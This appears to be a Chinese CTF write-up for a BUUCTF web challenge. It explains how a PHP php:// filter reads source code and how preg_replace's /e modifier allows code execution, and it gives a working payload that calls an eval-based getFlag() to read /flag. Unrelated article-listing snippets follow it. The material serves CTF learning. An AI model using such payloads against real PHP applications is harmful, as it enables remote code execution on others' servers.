很明显要利用伪协议读next.php

base64解码后查看源码

 <?php
$id = $_GET['id'];
$_SESSION['id'] = $id; function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
} foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
} function getFlag(){
@eval($_GET['cmd']);
}

可以看到。preg_replace函数加了/e。/e 修正符使 preg_replace() 将 replacement 参数(preg_replace 函数的第二个参数)当作 PHP 代码,导致命令执行。本题需要想办法调用getFlag()命令执行获取flag

\1 是一种后向引用,表示表达式中,从左往右数,第一个左括号对应的括号内的内容。
以此类推,\2表示第二个,\0表示整个表达式。在本题中对应着get的参数id。

payload:\S*=${getflag()}&cmd=readfile("/flag");

为什么用"\S*"做变量名 ?

"\S"在正则中表示所有非空白字符,"\S*"相当于匹配所有非空白字符串。这样就能匹配到getFlag(),结合前面的\1,使我们能够控制preg_replace的第二个参数

为什么要用${getflag()}?

因为正则之后getflag()就是字符串,是不会被执行的。不加${}第二参数'strtolower("\\1")'等价于'getflag()'。被解析成字符串。所以加上${}使getflag()先被执行。

之后再用readfile读flag

可参考:https://www.jb51.net/article/38714.htm

7.0.0版本之后不再支持 /e修饰符。 需要用 preg_replace_callback() 代替。

BUUCTF-web ZJCTF,不过如此的更多相关文章

  1. BUUCTF WEB

    BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...

  2. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  3. [BUUCTF]PWN——[ZJCTF 2019]EasyHeap

    [ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个 ...

  4. [BUUCTF]PWN——[ZJCTF 2019]Login

    [ZJCTF 2019]Login 附件 步骤: 例行检查,64位程序,开启了canary和nx保护 2. 试运行一下程序 3. 64位ida载入,检索字符串,在程序里找到了用户名admin和密码2j ...

  5. 记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

    题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

  6. buuctf—web—高明的黑客

    打开靶机,看到如下界面 于是打开www.tar.gz 下载后发现是一个放有大量php文件的文件夹 看了大佬的wp后明白了是fuzzing 附上大佬的脚本 import os import re imp ...

  7. buuctf—web—Easy Calc

    启动靶机,查看网页源码,发现关键字 $("#content").val() 是什么意思: 获取id为content的HTML标签元素的值,是JQuery,     ("# ...

  8. BUUCTF WEB-WP(3)

    BUUCTF WEB 几道web做题的记录 [ACTF2020 新生赛]Exec 知识点:exec命令执行 这题最早是在一个叫中学生CTF平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬 ...

  9. [BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF,不过如此

    [BJDCTF 2nd]Schrödinger 点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪) 复制这一堆英文去谷歌翻译的时候发现隐藏文字 移除test.php文件,访问test.php ...

  10. BUUCTF刷题记录(Web方面)

    WarmUp 首先查看源码,发现有source.php,跟进看看,发现了一堆代码 这个原本是phpmyadmin任意文件包含漏洞,这里面只不过是换汤不换药. 有兴趣的可以看一下之前我做的分析,http ...

随机推荐

  1. 基数排序(Java)

    基数排序(Java) 博客说明 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢! 基数排序(桶排序)介绍 基数排序(radix sort)属 ...

  2. [SCOI2016]背单词 题解

    背单词 https://www.luogu.com.cn/problem/P3294 前言: Trie树的省选题(瑟瑟发抖QAQ) 问题汇总:(请忽略) (1)对Trie字典树的运用不熟练 (2)没想 ...

  3. Prince and princess——需要优化的DP

    一个时间效率为o(nlogn)的算法求公共子序列的应用 Prince and princess 题目大意(已翻译 ) 在nxn的棋盘上,王子和公主玩游戏.棋盘上的正方形编号为1.2.3 ... n * ...

  4. tbody滚动条占位导致与thead表头错位

    tbody出滚动条导致表头错位,上网上搜了一下,发现全是答非所问,能隐藏滚动条,还用问??我当前作出的效果是当tbody内容在正常情况下显示时,不显示滚动条,当内容区域高度超过外部容器时,滚动条自动显 ...

  5. 列拖拽顺序调整-sortable.js使用

    最近在做一个单表统计功能,涉及到一个查询列配置,但是查询出来的列顺序,可以进行配置,通过写列的排序当然阔以,但是方法就不美丽了.所以,在网上搜了一下拖拽的组件,最终定位Sortable.js,简单易用 ...

  6. 记一道CTF隐写题解答过程

      0x00 前言 由于我是这几天才开始接触隐写这种东西,所以作为新手我想记录一下刚刚所学.这道CTF所需的知识点包括了图片的内容隐藏,mp3隐写,base64解密,当铺解密,可能用到的工具包括bin ...

  7. [JAVA]SpringBoot中让接口支持跨域

    官方原文:https://spring.io/blog/2015/06/08/cors-support-in-spring-framework ===抽空翻译 最简单办法:在方法上增加注解: @Cro ...

  8. day25 ATM项目(第一天)

    项目的说明书 项目:ATM + 购物车 项目需求: 1.额度15000或自定义 --> 注册功能 2.实现购物商城,买东西加入购物车,调用信用卡接口结账 --> 购物功能.支付功能 3.可 ...

  9. JavaScript学习 Ⅴ

    十. 一些对象 Date 对象 Date对象用来表示一个时间 创建Date对象 如果直接使用构造函数创建一个Date对象,则会封装为当前代码执行的时间 var d = new Date(); 创建一个 ...

  10. MCU 51-1概述

    Microcontroller Unit 单片机:将微处理器CPU.存储器(RAM.ROM) .基本输入/输出(I/O) 接口电路和总线接口等组装在一块主机板(即微机主板). 微型计算机:将微处理器C ...